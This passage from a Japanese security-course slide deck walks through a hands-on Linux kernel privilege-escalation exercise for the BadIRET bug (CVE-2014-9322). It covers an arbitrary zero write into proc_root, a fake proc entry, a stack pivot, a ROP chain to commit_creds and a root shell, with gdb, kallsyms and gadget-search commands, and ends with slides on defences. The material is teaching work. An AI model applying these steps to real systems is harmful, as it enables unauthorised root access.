%GSハイジャックから任意アドレス書き込み(8byte 0) GS base current sighand FAKE_PERCPU FAKE_CURRENT Usermode memory Kernelmode memory CPU state 8-byteの0をカーネル 内の任意アドレスへ書 き込み可能

Slide 66

Slide 66 text

任意アドレス書き込み(8byte 0)から任意コード実行 ● 8-byteの0をどこに書き込むか? ○ IDT(Interrupt Descriptor Table)内の割り込みハンドラを書き換える手法 ■ PlayStation4(FreeBSD)のjailbreakはこの手法が使われた ■ ただしLinuxではIDTがRead Onlyに設定されている:( ■ Intel SMEPによってカーネル空間から直接ユーザー空間のコードへ jumpする事を防ぐ ○ カーネル内ROP(Return Orietend Programming) ■ カーネルの実行バイナリ (e.g. vmlinux)内のROP gadgetを利用 ■ カーネル空間内のコードを実行するため SMEP bypassが可能 ■ Stack pivotでカーネルスタックと攻撃者が用意したユーザースタックを交換 ■ カーネル内のgadgetを積んでROP実行(事前課題 part2参照) ■ ROPで権限昇格またはCR4を操作してSMEPを切る

Slide 67

Slide 67 text

任意コード実行へ proc_iops subdir = 0x00XXXX FAKE_PROC_DIR_ENTRY proc_root Usermode memory Kernelmode memory 0を書き込んでユーザー空間アドレスへ 0xffffXXXX… -> 0x0000XXXXX 0xffff800000000000 〜 0 〜 0x00007fffffffffff FAKE_IOPS ROP gadgets open(“/proc/XXX”) 1. proc_root.subdirのアドレスを攻撃者が用 意した FAKE_PROC_DIR_ENTRYに差し替 える 2. FAKE_PROC_DIR_ENTRYは FAKE_IOPS を指すように調整 3. FAKE_IOPSはカーネル内のROP gadget を指す。 4. xchg %rax(=FAKE_IOPS) %rsp 5. commit_cred(prepare…) iretでshellへ(事前課題part2参照) shell

Slide 68

Slide 68 text

演習4 カーネルエクスプロイト(権限昇格) ● currentがGSレジスタからオフセットいくつでアクセスされている確認 $ (gdb) disas do_general_protection 0xffffffff816334b0 <+0>: call 0xffffffff8163a880 <__fentry__> 0xffffffff816334b5 <+5>: push rbp …. 0xffffffff816334ce <+30>: mov rbx,QWORD PTR gs:0xb800 ● proc_rootのアドレスを確認 $ sudo cat /proc/kallsyms | grep ‘ proc_root$’

Slide 69

Slide 69 text

演習4 カーネルエクスプロイト(権限昇格) ● struct proc_dir_entryのメンバを確認 $ cd linux-3.12 $ gedit fs/proc/internal.h $ gedit include/linux/fs.h ● proc_dir_entry.proc_iopsのオフセット確認 ● proc_dir_entry.subdirのオフセット確認 include/linux/types.h http://elixir.free-electrons.com/linux/v3.12/ident/

Slide 70

Slide 70 text

演習4 カーネルエクスプロイト(権限昇格) ● proc_root.subdirの上位5byteを0埋め ● 下位3byte(16MB)は不明なため4096~2^24までスプレー ○ 0~2^24じゃない理由はLinuxではアドレス0にはマップできないため(4Kの2ページ目4096〜) ● FAKE_IOPS->update_timeとlookup関数ポインタをカーネル内のROP gadgetに変更 ● FAKE_PROC_DIR_ENTRY->nameは適当な名前で”A”など。 ● open(“/proc/A”)を実行するとupdate_time、lookupが順に呼ばれて発火

Slide 71

Slide 71 text

演習4 カーネルエクスプロイト(権限昇格) ● カーネル内のgadgetに飛んでStack Pivotを行う ● xchg %eax, %espに飛ぶと.... ○ スタックがFAKE_IOPSに設定される。(しかし現在トップはlookupに設定したgadgetアドレス) ○ 飛んだ後スタックを少しずらしましょう $ ./rp-lin-x64 --file=~/linux-3.12/vmlinux --rop=3 --unique xchg %esp, %eax (rax == FAKE_IOPS) FAKE_IOPS->memberの呼び出しは以下のような命令になっている。 %rax=FAKE_IOPS; call OFFSET(%rax); // call FAKE_IOPS->lookup

Slide 72

Slide 72 text

演習4 カーネルエクスプロイト(権限昇格) ● Stack Pivotした後一つ目のROP gadgetでスタックを下げる ● スタックがFAKE_IOPSの下にmmapしておいたROP gadgetまで移動 ○ ここに事前課題2で用意したROP gadgetを設置 ○ commit_cred(prepare(0))が実行されてroot化 add $N, %rsp; ret をFAKE_IOPSの先頭に置いておく。

Slide 73

Slide 73 text

演習4 カーネルエクスプロイト(権限昇格) https://blogs.bromium.com/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

Slide 74

Slide 74 text

まとめ システムソフトウェアに対する攻撃と対策

Slide 75

Slide 75 text

システムソフトウェアに対する攻撃と対策 ● ソフトウェアあるところに脆弱性あり ○ OS(カーネル)の脆弱性を利用した攻撃 ○ 仮想マシン(ハイパーバイザ)の脆弱性を利用した攻撃 ○ ファームウェアの脆弱性を利用した攻撃 ● コアなレイヤーでの脆弱性発見、対策技術 ○ 脆弱性をどうやって見つける? -> ファジング、Symbolic Execution、 特徴量検出.... ○ 攻撃をどうやって緩和する? -> Kernel Self Protection, Sanitizer…. ○ 脆弱性を減らすには? セキュアなシステムソフトウェア開発 -> SMT, SAT solver, 言語パラダイ ム...